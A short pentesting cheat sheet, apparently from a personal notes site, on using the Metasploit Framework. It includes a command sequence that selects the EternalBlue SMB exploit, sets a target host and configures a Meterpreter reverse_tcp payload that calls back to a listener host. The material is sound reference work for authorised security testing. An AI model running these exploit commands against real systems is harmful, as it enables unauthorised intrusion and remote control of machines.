pentesting, updated

Metasploit Framework

Modular exploitation framework: pairs a vulnerability module with a payload and handler to get a session on a target.

What it’s for

Weaponize a confirmed vulnerability into a working exploit and session, using a maintained module instead of hand-rolling one.

Install

apt install metasploit-framework
msfconsole

Common commands

search type:exploit platform:windows smb               # find candidate modules
use exploit/windows/smb/ms17_010_eternalblue            # select one
set RHOSTS 10.10.10.5
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.1
run                                                      # launch
sessions -i 1                                             # interact with an open session
use exploit/multi/handler ; set PAYLOAD ... ; run         # catch a manually delivered payload

Useful flags

CommandEffect
search <term>Find modules by name/CVE/platform
infoShow the selected module’s options and description
checkTest exploitability without firing the payload
sessions -lList active sessions

Notes

Run check before run wherever the module supports it — it confirms exploitability without the risk of crashing the target service.

Used in

§ home
~/knubertus/home/
1,1 Top